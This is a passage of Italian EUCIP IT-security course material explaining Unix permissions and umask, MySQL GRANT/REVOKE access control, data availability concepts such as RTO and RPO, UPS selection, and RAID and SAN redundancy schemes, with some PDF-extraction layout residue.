permessi che basata su una notazione binaria: a ogni
permesso concesso o negato viene fatto corrispondere un
bit in una maschera di 9 bit. Ogni bit della maschera vale
0 se il rispettivo permesso negato, 1 se concesso. Da si-
nistra a destra, i bit hanno il seguente significato:
user group other
read write execute read write execute read write execute
1 1 0 1 0 0 1 0 0
La maschera mostrata nell'esempio (110100100) corri-
sponde alla stringa "rw-r--r--", ossia: il proprietario pu leg-
gere o scrivere il file, gli altri (gruppo ed estranei) posso-
no solo leggerlo.
Solitamente si fa uso della notazione ottale per como-
dit (in quanto ogni cifra ottale corrisponde a 3 bit, un rag-
gruppamento ideale). Cos, una situazione di "tutti i per-
messi negati" corrisponde a 000 ottale, mentre 777 rap-
presenta il binario 111 111 111, ossia "tutti i permessi so-
no concessi a tutti". I permessi dell'esempio di cui sopra,
in ottale, avrebbero la rappresentazione 644.
Da segnalare infine il meccanismo dei permessi di de-
fault. Quando viene creato un file, il sistema operativo
provvede ad attribuirgli dei permessi che dipendono dal
tipo di file (per esempio: programma o file di dati) e da
una speciale misura precauzionale supplementare, volta
di solito a restringere i permessi che spettano a "gruppo"
e "altri": si tratta del meccanismo della "umask", in so-
stanza un valore binario (espresso per comodit in otta-
le) che rappresenta i bit che devono essere azzerati nella
maschera dei permessi rispetto al valore dei permessi
standard per quel tipo di file. Il comando umask, senza pa-
rametri, visualizza il valore attuale di questa maschera.
Per impostarla si usa lo stesso comando ma si passa un
parametro ottale su riga di comando, per esempio:
umask 022
che corrisponde a negare a "gruppo" e "altri" il diritto
di scrittura per il nuovo file.
Controllo degli accessi in database relazionale
Uno dei tipi pi importanti di risorse disponibili in re-
te il database. E' evidente che, se si ha a cuore la sicu-
rezza delle informazioni, l'accesso a un database (che
spesso pu contenere dati estremamente rilevanti e sen-
sibili) non privilegio da concedere a chiunque senza re-
strizioni.
5.3.6.4 Conoscere
le modalit di
gestione
dellaccesso ai
RDBMS
Due sono gli aspetti da considerare a questo riguardo:
il controllo sulla connessione al Database server e l'auto-
rizzazione a compiere le varie operazioni una volta con-
nessi.
Per il primo punto i database utilizzano naturalmente
uno schema basato su password; a seconda dei casi la
password pu viaggiare da client a server su una connes-
sione pi o meno protetta da tecniche crittografiche, ma
si tratta di uno scenario simile a quelli gi discussi, con
vantaggi e criticit analoghi, su cui non ci soffermiamo.
E' il secondo aspetto a meritare un cenno. I database
sono dei sistemi per la gestione veloce e affidabile di gran-
di quantit di informazioni in forma strutturata. Nel caso
particolare dei database relazionali (RDBMS) la struttura
usata la tabella bidimensionale; una tabella si usa per
modellare una determinata entit; le righe (o record) cor-
rispondono a istanze, le colonne ad attributi.
Esempio di tabella in un RDBMS
Nome tabella: Correntista
Nome Codice fiscale Numero cliente Saldo
John Smith 1234567XYZ 1423 1000
Jack White 9876543KLM 5253 2000
In questa tabella gli attributi sono Nome, Codice fi-
scale, Numero cliente e Saldo; lentit modellata il
Correntista. Sono attualmente presenti 2 istanze, corri-
spondenti ai correntisti i cui nomi sono John Smith e Jack
White; per esempio, il record contenente le informazioni
riguardandi John Smith il seguente record di quattro
campi:
John Smith 1234567XYZ 1423 1000
Cos, possiamo dire che il valore dellattributo Nume-
ro cliente per listanza relativa a John Smith 1423.
Il modello di protezione a livello di utente, con il quale
si possono stabilire livelli di permessi d'accesso ai dati e
ad altre informazioni di controllo del database, non ha
una logica "tutto o niente" ma consente di specificare que-
sti permessi con una granularit pi fine, per definire la
quale si fa proprio riferimento a questi oggetti ed alle ope-
razioni possibili su di essi.
Con riferimento al caso particolare di Access, in am-
biente Windows, per ogni "principal" (utente o gruppo di
utenti) e per ogni oggetto definito nel database, fra quel-
li di tipo controllabile (tabella, query, maschera, eccetera)
infatti possibile specificare le autorizzazioni desiderate,
fra cui lettura, scrittura, inserimento, cancellazione.
L'operazione, nel caso di Access, si effettua da una co-
moda finestra dedicata (Figura Permessi Access). Per al-
tri database, in assenza di una interfaccia grafica di ge-
stione analoga a questa, per definire i permessi occorre
utilizzare comandi interattivi stile SQL oppure agire su
speciali tabelle di controllo che fanno parte anch'esse,
seppure a titolo speciale, del database a cui si riferiscono;
nome, tipo e struttura di questi comandi o tabelle dipen-
dono dal particolare RDBMS usato, anche se i concetti su
cui si basano restano naturalmente gli stessi. Per esem-
pio, in MySQL (un database molto diffuso, in particolare
in ambiente Linux) e vari altri RDBMS, i seguenti coman-
di hanno l'effetto di concedere all'utente "smith12" di mo-
dificare ("alter") la tabella dei conti correnti, "Accounts",
in un database bancario, purch "smith12" si sia preven-
tivamente autenticato a mezzo password:
Mysql> GRANT alter on Accounts to smith12
Mysql> IDENTIFIED by "password";
Si potrebbe anche concedere a un utente "admin" ogni
permesso su ogni tabella del database, pretendendo
per, per ragioni di sicurezza, una autenticazione che av-
venga in modo protetto crittograficamente a mezzo SSL
(Secure Socket Layer):
Mysql> GRANT all on *.* to admin
Mysql> IDENTIFIED by "password" REQUIRE SSL;
Esiste anche un comando REVOKE che ha l'effetto con-
trario di GRANT, in quanto revoca una o pi autorizzazio-
ni per un dato utente e tabella. La sintassi del tutto si-
mile a quella di GRANT:
Mysql> REVOKE alter on Accounts FROM smith12;
Mysql> REVOKE ALL PRIVILEGES FROM smith12;
6
D
a un punto di vista colloquiale, il senso dellespres-
sione disponibilit dei dati, e dei rischi che posso-
no comprometterla, pu apparire quasi intuitivo.
Viene spontaneo pensare alla possibilit che si guastino i
dischi fissi, che la rete cessi di funzionare, che si verifichi
un black out, che si guasti qualche altro apparato vitale.
Tutti questi aspetti certamente esistono e li approfondire-
mo nei prossimi paragrafi, ma conviene qui ricordare che
tecnicamente lespressione disponibilit dei dati ha
unaccezione piuttosto ampia e articolata che a volte scon-
fina anche in questioni collaterali. Vediamo quali sono, an-
che attraverso qualche esempio.
Innanzitutto laccessibilit. Il fatto che i dati esistano
senza che sia possibile avervi accesso non di grande in-
teresse. Per la disponibilit dei dati quindi necessario an-
zitutto assicurare che gli eventuali meccanismi di prote-
zione e di controllo degli accessi (dallautenticazione del ri-
chiedente, allautorizzazione per mezzo di uno schema di
permessi) funzionino regolarmente e che i relativi databa-
se, che sono necessari per il loro funzionamento, siano a lo-
ro volta accessibili e contengano dati validi. Questi com-
prendono i database di chiavi crittografiche usate per ren-
dere sicuro il processo di autenticazione e accesso, quelli
di elenchi di utenti e relative password, nonch le Access
Control List (lelenco dei diritti di accesso riconosciuti per
una risorsa) e le Capability List (tutti i permessi che sono
attribuiti a un particolare utente o processo). Sempre per
garantire laccessibilit dei dati naturalmente necessario
che le connessioni di rete funzionino e siano affidabili, co-
me approfondiremo fra breve.
Vi sono poi aspetti che riguardano intrinsecamente i da-
ti stessi, a cominciare dalla loro integrit. Non si possono
definire disponibili, infatti, dati che siano solo parziali, pri-
vi di informazioni essenziali per il loro utilizzo. Per esem-
pio, in un database relazionale usato per modellare i dati di
un istituto bancario, del tutto inutile che esistano la ta-
bella A, con la situazione dei conti correnti (figura 1) e la ta-
bella B, dei dati anagrafici dei correntisti (figura 2), se an-
data perduta la tabella C, che mette in relazione i correnti-
Administrator Sicurezza
Informatica, valida in tutta Europa. In questo numero ci
occupiamo di tutti i meccanismi per garantire la costante
disponibilit delle informazioni anche in caso di disastro
o di attacco maligno. I contenuti
sono composti da tre elementi:
un articolo sulla rivista, un
articolo, molto pi esteso in
formato PDF e un corso
su CD e DVD di Marco Mussini
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.4 Disponibilit
dei dati
5.4.1.1 Conoscere i
diversi tipi di
esigenze di
disponibilit dei dati
applicazioni
In collaborazione
con:
Disponilbilit dei dati
Proteggere i dati
da disastri
e attacchi maligni
sti con conti correnti (figura 3). La mancanza della tabella
C rende di fatto inutili, e non disponibili, i dati delle tabelle
A e B.
Tabella A la situazione dei conti correnti di una banca
N.conto Saldo Tasso attivo Tasso passivo Fido
10001 1090 1.25 8.75 300
10322 2315 1.00 9.25 500
10224 3167 1.50 8.50 1250
La tabella B con i dati anagrafici dei correntisti
Cod.Cliente CognomeNome Indirizzo Citt
371 Rossi Mario C.so Garibaldi 10 Pavia
392 Bianchi Giorgio Via Bellini 40 Lecco
407 Verdi Alfredo P.za Cavour 17 Milano
La tabella C, che mette in relazione clienti e conti correnti.
In sua mancanza le tabella A e B del database sono inutili.
Codice Cliente Numero Conto
371 10322
392 10224
407 10001
Anche se formalmente i dati sono accessibili e tutti pre-
senti, vi pu essere tuttavia un problema di consistenza.
Sempre sulla falsariga allesempio bancario, il fatto che for-
malmente siano presenti le tabelle A, B e C non serve a nul-
la se la corrispondenza espressa dalla tabella C fa riferi-
mento a identificativi di conto corrente oppure a codici
cliente non corretti, ai quali non fa riscontro alcun conto
(nella tabella A) o alcun cliente (nella tabella B). In questo
caso si dice che i dati contenuti nella tabella C (figura 1) so-
no inconsistenti con i dati delle tabelle A e B, il che rende i
dati, nel loro complesso, privi di senso e inutilizzabili per-
ch privi di una rete di collegamenti validi che li metta in re-
lazione reciproca.
Figura 1. Un esempio di tabella C contenente dati
parzialmente inconsistenti con le tabelle A e B mostrate in
figura 1 e 2. Esempi di dati inconsistenti sono evidenziati
in giallo.
Codice Cliente Numero Conto
375 10322
392 10224
407 10771
Per completezza ricordiamo che quando i dati sono ine-
satti, ma leffetto di tale inesattezza si esaurisce in s stes-
so (non si ripercuote cio sulle relazioni tra i dati e sulla lo-
ro utilizzabilit nel loro complesso) la questione riguarda
invece la correttezza dei dati; si tratta tuttavia di un pro-
blema che solo contiguo a quello della loro disponibilit.
La garanzia di disponibilit dei dati, insieme allininter-
rotto e regolare funzionamento dei processi aziendali, sono
i pilastri della cosiddetta "Business Continuity", intesa co-
me la misura in cui unorganizzazione riesce a garantirsi la
stabilit ininterrotta dei sistemi e delle procedure operati-
ve anche a fronte di eventi eccezionali. Tale risultato non
realisticamente raggiungibile aggiungendo una stratifi-
cazione di rimedi a processi e sistemi che di base sono fra-
gili e vulnerabili: occorre piuttosto progettarli in modo che
siano intrinsecamente robusti e fault tolerant ossia resi-
stenti ai guasti.
La Business Continuity dunque il risultato di una cor-
retta pianificazione della gestione delle criticit (Crisis Ma-
nagement), di unaccurata identificazione, valutazione e ge-
stione dei rischi (Risk Analysis, Assessment and Manage-
ment), di processi organizzativi e informatici progettati con
criteri di ridondanza e sicurezza, e di appropriate proce-
dure di Data Recovery in grado di fornire un grado supple-
mentare di protezione in caso di eventi eccezionali.
Naturalmente la sicurezza ha un costo proporzionale al
livello di servizio garantito, pertanto ogni organizzazione
deve stabilire il livello di compromesso tra il rischio din-
terruzione delloperativit e il costo delle misure preposte
a garantire la Business Continuity. Idealmente si sarebbe
portati a dire che non ci si pu permettere di perdere alcun
dato e che non tollerabile alcuna interruzione di servizio;
purtroppo assai probabile che un simile livello di prote-
zione abbia un costo proibitivo. Si deve inoltre osservare
che non tutte le applicazioni e i dati usati in azienda sono
ugualmente mission-critical. quindi utile definire alcune
soglie ed qui che torna utile definire due concetti, quello
di Recovery Time Objective (RTO) e quello di Recovery
Point Objective (RPO).
Il Recovery Time Objective, riferito a un determinato si-
stema o processo organizzativo, un valore che indica il
tempo -disponibile per il recupero della piena operativit di
quel sistema o processo. In altre parole la massima dura-
ta prevista o tollerata delleventuale downtime, ove questo
si verificasse. Laspetto di primaria importanza che un
qualche valore di RTO sia definito, conosciuto e verificato.
Infatti, se vero che un downtime lungo danneggia lorga-
nizzazione pi di uno breve, il danno peggiore deriva sen-
za dubbio dal non avere alcuna idea precisa di quanto tem-
po sar disponibile per terminare il downtime quando si ve-
rifica. Avere una soglia di RTO conosciuta e verificata per-
mette se non altro di reagire allemergenza in modo ordi-
nato e potendo contare su un tempo massimo garantito pri-
ma del ritorno alla normalit.
Una misura utile per ridurre lRTO consiste nel fare in
modo che i dati siano disponibili integralmente e a caldo
in un sito secondario, che sia immediatamente accessibile
qualora il sito primario subisca uninterruzione di servizio.
Se lRTO stabilisce un limite di tempo entro il quale at-
teso il ritorno alla normalit, lRPO (Recovery Point Objec-
tive) quantifica invece lentit massima della perdita di da-
ti che pu essere tollerata a seguito di un evento di crisi.
Per rimanere dentro le richieste imposte dallRPO oc-
corre, per esempio, che i dati vengano salvati e replicati
con immediatezza, con un minimo tempo di permanenza in
memoria volatile (come un buffer in RAM) o priva di pro-
tezione (come un disco non ridondato). Una soluzione ben
pi idonea consiste per nelladozione di schemi di repli-
cazione dei dati sulle unit a disco (RAID), come vedremo
tra poco.
I valori di RPO ed RTO devono risultare da unanalisi del-
la struttura informatica nel suo complesso e il loro dimi-
nuire porta progressivamente a una struttura sempre pi
critica. Ad esempio, una struttura che disponga di un RTO
alto pu rimanere inattiva senza problemi per un lungo pe-
riodi, al fine di consentire riparazioni anche complesse. Una
struttura con un RPO alto pu invece tollerare un numero
alto di transazioni non ripristinate senza problemi.
Requisiti sullinfrastruttura ICT
Anche lequipaggiamento hardware deve avere caratte-
ristiche tali da contribuire a un buon livello generale di
information availability.
Lesempio pi evidente consiste nel tutelarsi dal rischio
di black-out dotandosi di sistemi UPS (Uninterruptible
Power Supply) adeguati alle attrezzature da proteggere.
Le principali caratteristiche degli UPS da valutare nella
scelta sono otto.
1) il carico massimo sopportabile, espresso in VA (Volt
Ampere). Naturalmente sempre saggio sovradimen-
sionare lUPS rispetto allassorbimento teorico dellin-
sieme dei sistemi da proteggere. Sar cos possibile as-
sorbire picchi inattesi di carico, senza contare che lau-
tonomia durante il black-out sar maggiore.
2) il tempo di commutazione della fonte di alimentazione
5.4.1.2 Conoscere i
diversi tipi di
esigenze
infrastrutturali dei
sistemi informatici
(gruppi di
continuit,
climatizzazione,
cablaggi etc)
da rete elettrica a batteria interna. Tale tempo (che de-
ve essere dellordine dei pochi millisecondi al massimo)
va confrontato con il tempo massimo sopportabile, in
condizioni di assenza di alimentazione, dalla pi esi-
gente tra le unit da proteggere.
3) la durata massima del periodo di autonomia in assenza
di alimentazione in condizione di carico massimo. A se-
conda del dimensionamento, lUPS pu lasciare giusto il
tempo per salvare i dati e chiudere le applicazioni (una
decina di minuti) oppure permettere una vera business
continuity per un tempo di diverse ore. Fra questi due
scenari passa una differenza molto rilevante per quanto
riguarda il dimensionamento e il costo dellUPS (che
sar varie volte maggiore nel secondo caso).
4) il tempo richiesto per una ricarica completa. Si tratta di
un valore essenziale per sapere quali chance ha il siste-
ma di resistere a due o pi black-out in rapida succes-
sione. In molti casi il processo di carica di gran lunga
pi lento di quello di scarica: un UPS che garantisce 10
minuti di autonomia a carico massimo pu impiegare
ore per ricaricarsi completamente. Questo evidente-
mente pone limiti precisi non solo alla durata degli inci-
denti di alimentazione, ma anche alla loro frequenza. La
soluzione ancora una volta quella di sovradimensio-
nare lUPS.
5) la capacit di smorzare sovratensioni, disturbi impulsi-
vi e scariche conseguenti a fattori meteorologici o a dis-
servizi della rete elettrica. Questa prestazione pu esse-
re intrinseca per il tipo di tecnologia dellUPS (come
spiegato pi avanti) oppure essergli conferita da un mo-
dulo dedicato interno. anche possibile interporre un
filtro tra la rete elettrica e lUPS oppure tra questo e le
unit sotto protezione.
6) la capacit di interfacciarsi a livello logico-applicativo
con i sistemi sotto protezione, in modo da forzare il sal-
vataggio automatico dei dati e lo shutdown ordinato dei
sistemi stessi. Di solito ci avviene mediante collega-
mento seriale o USB ed richiesta linstallazione di un
apposito software di supervisione. Tale software rara-
mente disponibile su molti sistemi operativi diversi,
pertanto importante valutare con attenzione la qualit
del supporto software offerto dal fornitore dellUPS.
7) la disponibilit di un sistema di controllo remoto per il
monitoraggio dello stato di carica della batteria e per la
consultazione di un log degli eventi critici verificatisi.
8) il tipo di tecnologia. In ordine crescente di protezione, di
rapidit di commutazione e di immunit dai disturbi sul-
lalimentazione primaria, ma anche di costo, citiamo il ti-
po Passivo (ormai obsoleto) che interviene solo in caso
di mancanza di alimentazione, ma non filtra lalimenta-
zione proveniente dalla rete primaria, il tipo On line in-
teractive che regola e filtra tensione della rete primaria
mantenendo contemporaneamente in carica la batteria
che interviene immediatamente in caso di blackout e in-
fine il tipo Online a doppia conversione che alimenta il
carico costantemente dalla batteria. Questultimo tipo di
unit trasforma costantemente in corrente continua la
corrente alternata in ingresso mediante un raddrizzato-
re; la corrente continua cos ottenuta viene in parte usa-
ta per la carica di mantenimento della batteria, mentre il
resto viene nuovamente convertito in corrente alterna-
ta per il carico, con parametri assolutamente stabili e to-
tale disaccoppiamento da eventuali disturbi presenti sul-
lalimentazione primaria.
Anche la climatizzazione del locale macchine devesse-
re curata con attenzione. Tutte le unit come PC, monitor,
unit disco, apparati di rete, eccetera, riportano nella pro-
pria documentazione il campo di temperatura (e in qualche
caso di umidit) ammissibile. Il sistema di condizionamen-
to deve assicurare il mantenimento dei parametri ambien-
tali (temperatura, umidit) entro lintervallo tollerato dai si-
stemi installati, tenendo conto anche di un adeguato mar-
gine di tolleranza (per esempio si deve tener conto di un
black out durante il quale gli UPS proteggono i sistemi, ma
probabilmente non limpianto di condizionamento, che
cesserebbe di funzionare). Il progetto del sistema di con-
dizionamento pu altres prevedere una qualche forma di
ridondanza dellimpianto, per fare fronte al possibile cedi-
mento di ununit refrigerante.
Per quanto riguarda il dimensionamento, una prima
grossolana quantificazione del calore che il sistema deves-
sere in grado di asportare deve tenere conto dellassorbi-
mento elettrico di tutti i sistemi, oltre naturalmente alle
quote dovute allilluminazione dei locali e alla presenza del
personale.
Una corretta definizione dei percorsi per i cablaggi, la lo-
ro ridondanza e la scelta dei materiali pi opportuni sono
altri due aspetti che contribuiscono in modo importante al-
la Business Continuity, riducendo il rischio di black out o
disolamento di rete in caso di accidentale danneggiamen-
to dei cavidotti oppure riducendo la generazione di fumo in
caso di incendio.
bene che lo schema di cablaggio non sia il risultato di
una serie di disordinati interventi incrementali effettuati in
un lungo arco di tempo intorno a una rete di base obsole-
ta, ma che al contrario sia il frutto di un vero e proprio pro-
getto di cablaggio strutturato delledificio, capace di sup-
portare in modo ordinato e senza forzature o scompensi,
entro limiti prefissati e noti, eventuali estensioni e poten-
ziamenti della rete.
Un aspetto da non trascurare, a tale proposito, il man-
tenimento di documentazione aggiornata sullo schema di
cablaggio delledificio, che rende pi facile ed economico
un eventuale upgrade programmato, mentre in caso di
evento critico permette di effettuare interventi di ripara-
zione pi rapidamente e a colpo sicuro. Specialmente nel-
le installazioni pi complesse risulta conveniente archi-
viare e consultare questo tipo di documentazione sfrut-
tando particolari applicazioni gestionali (Cable plant do-
cumentation software).
Schemi di replicazione dei dati
a caldo per dischi fissi
Uno dei modi per fare fronte al possibile rischio di gua-
sto a una unit disco consiste nel mantenere una copia
completa degli stessi dati su una unit disco diversa. Lo si
pu fare eseguendo regolarmente un backup, ma tale ap-
proccio presenta almeno due inconvenienti. Innanzitutto
5.4.2.1 Essere al
corrente delle diverse
metodologie di
replicazione in tempo
reale delle unit
disco (RAID etc)
resterebbero comunque non protetti i dati modificati dopo
lultimo backup; in secondo luogo, il recupero dei dati da
un backup unoperazione non trasparente, che deves-
sere eseguita esplicitamente, richiede tempo (lanciare
unapplicazione, selezionare i dati da recuperare, attende-
re che il recupero avvenga) e non si presta, per tali ragioni,
a supportare in modo appropriato una strategia di Busi-
ness Continuity.
Una soluzione convincente per il problema della prote-
zione dei dati dei dischi fissi consiste invece nel mantene-
re una copia a caldo dei dati, aggiornata in tempo reale,
pronta a subentrare alla copia primaria senza causare la mi-
nima interruzione del servizio. Il modo pi economico per
ottenerlo di ridondare le unit disco con altri dispositivi
identici, e gestire il tutto secondo una delle configurazioni
previste dalla tecnologia RAID (Redundant Array of Inex-
pensive Disks: letteralmente: schiera ridondata di dischi a
basso costo).
Va detto subito che molti degli schemi RAID esistenti af-
frontano il solo problema della protezione dei dati, altri il
solo problema del miglioramento delle prestazioni e altri
entrambe le questioni.
Gli schemi che seguono mostrano il bouquet di confi-
gurazioni RAID possibili.
Il concetto di base duplice: da un lato la distribuzione
dei dati fra pi dischi (striping), finalizzata allaumento
delle prestazioni (una determinata quantit di dati pu in-
fatti essere letta in parallelo, per met da un disco e per lal-
tra met da un secondo disco); dallaltro la ridondanza dei
dati, che consente di resistere a un guasto singolo o multi-
plo ricostruendo i dati a partire da bit di parit, codici ECC
(Error Correcting Code) oppure rileggendoli da una pura e
semplice replica integrale. I codici ECC costituiscono un si-
stema per monitorare laccuratezza delle informazioni e ap-
portare eventuali correzioni nel caso in cui si siano verifi-
cate alterazioni rispetto al valore originale a seguito di di-
fetti solitamente di natura fisica. La correzione possibile
poich il codice consente di risalire alla posizione del bit er-
rato allinterno della parola ossia del gruppo di bit moni-
torato.
Per ogni schema RAID possibile quantificare laumen-
to di prestazioni raggiungibile, cos come il numero di gua-
sti simultanei sopportabili. Generalmente poi possibile
sostituire i dischi guasti senza interruzione di servizio. A
seconda degli schemi RAID e delle prestazioni del control-
ler, lattivit di compensazione automatica degli errori o
guasti pu avere un effetto da nullo a medio sulle presta-
zioni del sistema.
La grande variet di schemi RAID definiti nasce dal gran
numero di possibili combinazioni dei vari schemi di ridon-
danza (replica, parit, ECC) e di striping.
interessante notare che con un investimento di entit
tutto sommato modesta possibile realizzare un sistema di
memorizzazione che al tempo stesso pi veloce e di gran
lunga pi sicuro del sistema di partenza.
RAID 0
Numero minimo dischi: 2
Descrizione: striping (parallelismo senza ridondanza)
Ridondanza: nessuna
Prestazioni: aumentano grazie al parallelismo fra dischi,
controller e canali DMA
Fault Tolerance: nessuna
Applicazioni idonee: applicazioni ad alta intensit di
banda, per es. applicazioni video
RAID 1
Descrizione: Mirroring + Duplexing
Ridondanza: 100%. Richiede 2N drives
Prestazioni: su ogni tandem: raddoppiano in lettura,
invariate in scrittura
Fault Tolerance: elevata. A certe condizioni sono
sopportabili anche guasti multipli simultanei
Applicazioni idonee: applicazioni che richiedono alta
disponibilit
RAID 2
Numero minimo dischi: -
Descrizione: parallelismo + codici a correzione derrore
(ECC)
Ridondanza: elevata ma minore di RAID 1. Interi dischi
sono dedicati alla memorizzazione dei codici ECC.
Prestazioni: aumento delle prestazioni read/write
direttamente proporzionale al parallelismo esistente sul
gruppo dei dischi dati Fault Tolerance: corregge al volo
errori singoli in una parola dati
Applicazioni idonee: non commercialmente conveniente
a causa dellelevata ridondanza hardware
RAID 3
Descrizione: parallelismo + parit XOR a livello di stripe
(generata durante le scritture, verificata durante le letture)
Ridondanza: bassa. Richiede N+1 drives.
Prestazioni: aumento delle prestazioni in lettura
direttamente proporzionale al parallelismo esistente sul
gruppo dei dischi dati
Fault Tolerance: corregge al volo gli errori senza rallentare
il servizio
Applicazioni idonee: applicazioni ad alta intensit di banda
con requisiti di disponibilit
RAID 4
A B C D
E F G H
I J K L
M N O etc...
A A E E
B B F F
C C G G
D D H H
I I M M
J J N N
K K O O
L L P P
Coppia di dischi
dati in mirror
Coppia di dischi
dati in mirror
Coppia di dischi
dati in mirror
Coppia di dischi
dati in mirror
A0 A1 A2 A3
B0 B1 B2 B3
C0 C1 C2 C3
D0 D1 D2 D3
Dischi dati
ECC A/a
ECC B/a
ECC C/a
ECC D/a
Dischi ECC
ECC A/b
ECC B/b
ECC C/b
ECC D/b
ECC A/c
ECC B/c
ECC C/c
ECC D/c
A0 A1 A2 A3
B0 B1 B2 B3
C0 C1 C2 C3
D0 D1 D2 D3
Dischi dati 0 Dischi dati 1 Dischi dati 2 Dischi dati 3
Generazione
XOR A parit
B parit
C parit
D parit
Disco parit
(Stripe = RAID 3 Blocco = RAID 4)
A0 A1 A2 A3
B0 B1 B2 B3
C0 C1 C2 C3
D0 D1 D2 D3
Dischi dati 0 Dischi dati 1 Dischi dati 2 Dischi dati 3
Generazione
XOR A parit
B parit
C parit
D parit
Disco parit
(Stripe = RAID 3 Blocco = RAID 4)
Descrizione: parallelismo + parit a livello di blocco
(generata durante le scritture, verificata durante le letture)
Ridondanza: bassa. Richiede N+1 drives
Prestazioni: la granularit a livello di blocco fa s che ogni
richiesta di lettura o scrittura di blocco interessi un solo
disco dati. Ci permette potenzialmente di trattare pi
richieste in parallelo, cosa impossibile con RAID 3. Il
singolo disco per la parit diventa per il collo di bottiglia
(specie in scrittura)
Fault Tolerance: la correzione degli errori ha le stesse
potenzialit di RAID 3 ma avviene pi lentamente
Applicazioni idonee: applicazioni RAID 3 bisognose di un
aumento di prestazioni soprattutto in lettura
RAID 5
Descrizione: parallelismo + informazioni di parit
distribuite fra i dischi dati
Ridondanza: bassa. Richiede N+1 drives
Prestazioni: massime prestazioni in lettura; medie in
scrittura
Fault Tolerance: la correzione degli errori ha un impatto
moderato sulle prestazioni In caso di guasto a un disco la
sua ricostruzione pi difficoltosa che in altri schemi
Applicazioni idonee: File servers - Application servers
Web servers - Database servers
RAID 6
Descrizione: parallelismo + parit distribuita fra i dischi +
ECC distribuiti fra i dischi
Ridondanza: superiore alloverhead richiesto da RAID 5.
Richiede N+2 drives
Prestazioni: prestazioni elevate a condizione che il
controller sia veloce a generare e verificare i codici ECC.
Fault Tolerance: estrema protezione e sicurezza con il
minimo overhead possibile.
Resiste anche a due guasti di disco simultanei
Applicazioni idonee: applicazioni mission critical
RAID 10
Descrizione: i dati sono gestiti in striping su un tandem e
in mirroring su un secondo tandem
Ridondanza: richiede 2N drives
Prestazioni: veloce come un RAID 0 ma pi affidabile
Fault Tolerance: sicuro come un RAID 1 ma pi veloce
Applicazioni idonee: applicazioni ad alte prestazioni con
requisiti di disponibilit
RAID 50
Descrizione: Abbinamento di uno schema RAID 3 e di uno
RAID 0
Ridondanza: molto elevata
Prestazioni: prestazioni elevate come in RAID 0
Fault Tolerance: sicuro come un RAID 3 ma pi veloce
Applicazioni idonee: -
RAID 0+1
Descrizione: mirroring di due tandem i cui dischi sono
gestiti in striping.
Ridondanza: richiede 2N drives
Prestazioni: prestazioni elevate come con RAID 0
Fault Tolerance: Come RAID 5.
Un singolo guasto rende lintero array equivalente a uno
schema RAID 0
Applicazioni idonee: applicazioni che richiedono alte
prestazioni ma non necessariamente la massima
disponibilit
Oltre agli schemi RAID, utilizzabili per aumentare laffi-
dabilit e/o le prestazioni di uno storage system localizza-
to in una certa sede fisica, meritano un cenno gli schemi di
distributed storage a ridondanza anche geografica (Sto-
rage Area Networks, SAN).
Una SAN collega fra loro pi unit disco (o nastro) e pi
host; in casi estremi, e usando le tecnologie di rete adatte,
le entit collegate possono trovarsi a grandi distanze (al li-
mite, anche a distanze di scala geografica). A differenza del
pi convenzionale schema Direct-Attached Storage (DAS),
che fa un uso punto-punto delle tecnologie di intercon-
nessione locale di unit disco a host, come SCSI in tutte
le sue varianti, oppure FDDI, Firewire o USB, nelle SAN im-
portante la possibilit di realizzare una matrice che metta
in comunicazione vari host e varie memorie di massa.
Una SAN pu essere usata per consentire laccesso a un
centro di memorizzazione dati a pi host ubicati in luoghi
differenti, ma anche, simmetricamente, per ridondare su
sedi diverse le unit disco usate da uno o pi host. In que-
sto senso, in combinazione con altre tecnologie, utilizza-
bile come soluzione per migliorare la disponibilit dei da-
ti. chiaro per che per raggiungere tale risultato neces-
Dischi dati A Dischi dati B Dischi dati C Dischi dati D
etc... etc... etc...
A0 B0 ECC 0
A1 ECC 1 Parit 1
ECC 2 Parit 2 C2
Parit 3 B3 C3
Parit
XOR
Parit 0
D1
D2
ECC 3
etc...
Codice
ECC
A A A B
B B C D
C C E F
D D G H
Dischi dati in
mirroring RAID 1
Dischi dati in
striping RAID 0
A0 A1
B0 B1
C0 C1
D0 D1
A parit
B parit
C parit
D parit
A B
C D
E F
G H
Dischi dati in
striping RAID 0
Dischi dati
in RAID 3
p g
A E A E
B F B F
C G C G
D H D H
Mirroring RAID 1 fra i due gruppi in striping RAID 0
Coppia di dischi dati
in striping RAID 0
Coppia di dischi dati
in striping RAID 0
E3 D3 C3 B3
A0 B0 C0
A1 B1 C1
A2 B2 Parit 2
A3 Parit 3 C2
Dischi dati A Dischi dati B Dischi dati C
Generazione
XOR
D0
Parit 1
D1
D2
Dischi dati D
Parit 0
E0
E1
E2
Dischi dati E
Parit 4
sario che la matrice implementata dalla rete su cui si ba-
sa la SAN possieda una ridondanza sufficiente per immu-
nizzarla perlomeno da guasti singoli di link, switch di rete
o schede di rete.
Infatti la minore affidabilit di una connessione di rete
a grande distanza rispetto a un collegamento diretto SCSI
significa che oltre allevenienza di guasto di disco si deve
prevedere e poter gestire anche levento di malfunziona-
mento (o congestione) della rete di interconnessione tra di-
schi e host.
Schemi di ridondanza per le unit di elaborazione
Per assicurare unalta disponibilit dei dati non suffi-
ciente assicurarsi che le unit di memorizzazione siano
tamponate contro possibili guasti. Larchiviazione dei
dati in forma grezza non tutto: laccesso ai dati, infatti,
quasi sempre comporta anche una qualche forma di ela-
borazione.
Vediamo tre esempi classici di elaborazione necessaria:
per presentare i dati in forma comodamente fruibile (per
esempio, una pagina Web illustrata anzich un arido
elenco di informazioni testuali provenienti diretta-
mente dal database);
per trasformare i dati grezzi in valori utilizzabili, attra-
verso calcoli aritmetici o logici;
per selezionare, ordinare, filtrare i dati da estrarre dal da-
tabase.
quindi necessario anche garantire che lelaborazione
dei dati non sia compromessa da un malfunzionamento
(hardware o anche software) a un server. A tale scopo si
utilizzano tecniche di clustering ossia il collegamento
reciproco di due o pi computer in modo che funzionino
come se fossero uno solo. Il clustering, con filosofia ana-
loga a quella RAID, aumenta il parallelismo con due pos-
sibili scopi: aumentare le prestazioni ripartendo i compi-
ti su pi macchine, oppure aumentare laffidabilit del-
linsieme, per esempio tenendo una macchina in riserva
calda pronta a subentrare a una macchina che dovesse
guastarsi.
Il primo schema sfruttato soprattutto per quelle ap-
plicazioni nelle quali prevale la necessit di aumentare al
